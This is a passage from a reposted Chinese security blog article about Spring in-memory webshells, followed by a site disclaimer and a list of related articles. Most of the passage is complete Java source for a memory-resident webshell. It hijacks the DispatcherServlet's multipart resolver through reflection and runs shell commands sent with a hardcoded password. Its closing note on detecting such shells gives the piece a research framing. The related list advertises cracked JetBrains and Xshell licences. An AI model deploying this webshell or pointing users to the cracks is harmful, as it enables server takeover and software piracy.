public class MultipartResolverDelegateShell  implements MultipartResolver{private MultipartResolver resolverDelegate;public String injectShell() throws Exception{DispatcherServlet servlet = new Util().getServlet();Field field = Util.getField(DispatcherServlet.class,"multipartResolver");MultipartResolver multipartResolver = (MultipartResolver) field.get(servlet);MultipartResolverDelegateShell multipartResolverDelegateShell = new MultipartResolverDelegateShell(multipartResolver);field.set(servlet,multipartResolverDelegateShell);return "{\"\result\":\"injectMultipartResolverDelegateShell\"}";}public MultipartResolverDelegateShell(){}public MultipartResolverDelegateShell(MultipartResolver resolverDelegate){this.resolverDelegate = resolverDelegate;}@Overridepublic boolean isMultipart(HttpServletRequest request) {String passwd = request.getParameter("mypasswd");String cmd = request.getParameter("cmd");if (passwd!=null && cmd!=null && passwd.equals("ape1ron") && !cmd.isEmpty()){try {HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();boolean islinux = true;String osType = System.getProperty("os.name");if (osType !=null && osType.toLowerCase().contains("win")){islinux = false;}String[] cmds = islinux ? new String[]{"sh","-c",request.getParameter("cmd")} : new String[]{"cmd.exe","/c",request.getParameter("cmd")};InputStream in = null;in = Runtime.getRuntime().exec(cmds).getInputStream();Scanner s = new Scanner(in).useDelimiter("\\A");String output = s.hasNext() ? s.next() : "";response.setHeader("result",new String(Base64.getEncoder().encode(output.getBytes())));} catch (IOException e) {throw new RuntimeException(e);}}if(this.resolverDelegate != null){return this.resolverDelegate.isMultipart(request);}return false;}@Overridepublic MultipartHttpServletRequest resolveMultipart(HttpServletRequest request) throws MultipartException {if(this.resolverDelegate != null){return this.resolverDelegate.resolveMultipart(request);}return null;}@Overridepublic void cleanupMultipart(MultipartHttpServletRequest request) {if(this.resolverDelegate != null){this.resolverDelegate.cleanupMultipart(request);}}
}

四、总结

Spring内存马的变化形式非常多,不能单纯依赖从某个HandlerMapping取出对象来判断,也不能依靠对象类型来进行判断。

原创 Ape1ron 银针安全

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/863161.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

ELK集成.Net8部署在Docker中

ELK介绍 ELK,是Elastaicsearch、Logstash、Kibana三个软件的简称。 Elastaicsearch是一个开源的全文搜索引擎,基于Lucene的封装,它提供了REST API 的操作接口; Logstach是一个开源的数据收集引擎,具有实时的管道,它可以动态地将不同的数据源的数据统一起来。 Kibana是一个…

matlab的标定工具箱

https://blog.csdn.net/weixin_43159148/article/details/97918258 https://blog.csdn.net/qq_41372644/article/details/121089361 Camera 1 Intrinsics 相机1内参 Focal length (pixels): [ 534.3145 +/- 0.3389 534.3111 +/- 0.3287 ] Principal point (pixels):[…

【Access语法】SQL连接查询

在 Microsoft Access 中,联合查询(也称为 JOIN 查询)是用于从两个或多个相关表中检索数据的一种方法。通过使用联合查询,您可以将来自不同表的数据组合在一起,以便在一个结果集中进行查看和分析。 联合查询的类型 Access 支持几种不同类型的联合查询,包括: 内连接(Inne…

神经辐射场ReNF基础

定义 神经辐射场是一种面向三维隐式空间建模的深度学习模型,这种深度学习模型又称全连接神经网络(又称多层感知机)。NeRF 所要做的任务是 Novel View Synthesis,一般翻译为新视角合成任务,定义是:在已知视角下对场景进行一系列的捕获 (包括拍摄到的图像,以及每张图像对应…

opencv + vtk + contrib 编译

https://blog.csdn.net/qq_48034474/article/details/12041170

IntelliJ IDEA 2024.3.1.1 最新版安装教程-至2099年(适用JetBrains 全家桶)

下面演示下最新版本的永久激活方法,大家按教程就可以实现一键永久激活。该工具是全家桶,大家可以放心使用。获取地址:https://www.dmjf.top/15141.html

Webstorm v2024.3.1.1 最新版安装教程-至2099年(适用JetBrains 全家桶)

下面演示下最新版本的永久激活方法,大家按教程就可以实现一键永久激活。该工具是全家桶,大家可以放心使用。获取地址:https://www.dmjf.top/15075.html

JVM实战—8.如何分析jstat统计来定位GC

大纲 1.使用jstat了解线上系统的JVM运行状况 2.使用jmap和jhat了解线上系统的对象分布 3.如何分析JVM运行状况并合理优化 4.使用jstat分析模拟的BI系统JVM运行情况 5.使用jstat分析模拟的计算系统JVM运行情况 6.问题汇总1.使用jstat了解线上系统的JVM运行状况 (1)JVM的整体运行…

Xshell Plus v7.0.14+Xftp7 永久授权版

Xshell 是更常用的安全终端模拟器,人们可以使用它远程登录其他系统服务器,达到远程控制终端的目的。 NetSarang Xshell – 知名终端连接工具,非常强大的SSH远程终端客户端 ,非常好用的SSH终端管理器。Xshell功能超级强大,性能非常优秀,其特色功能支持多标签会话管理主机,…

【Java开发】基于AOP切面的数据脱敏

#数据安全 #AOP切面编程 #数据脱敏 #微服务架构 随着数据安全法和个人信息保护法的实施,我们都知道,保护数据是企业信息化建设中非常重要的事情。 数据的生命周期包括:采集、传输、存储、处理、交换、销毁6个阶段 DSMM定义了数据生命周期中每个阶段需要做的一些安全控制,比…

《计算机组成及汇编语言原理》阅读笔记:p177-p177

《计算机组成及汇编语言原理》学习第 13 天,p177-p177 总结,总计 1 页。 一、技术总结 1.real mode A programming model where the program has access to the entire capability of the machine, bypassing security and memory management. Useful primarily for operat…

Android Password Safe(密码保险箱)

password safe手机版是一款主打密码管理跟保存内容的软件,密码保险箱与管理器以加密方式存储和管理你输入的所有数据,因此你可以安全存储访问数据,你只需要记住主密码。 此密码管理器允许你管理和跟踪所有敏感数据,这些数据完全加密且安全存储。 用于保护数据保险库的加密基…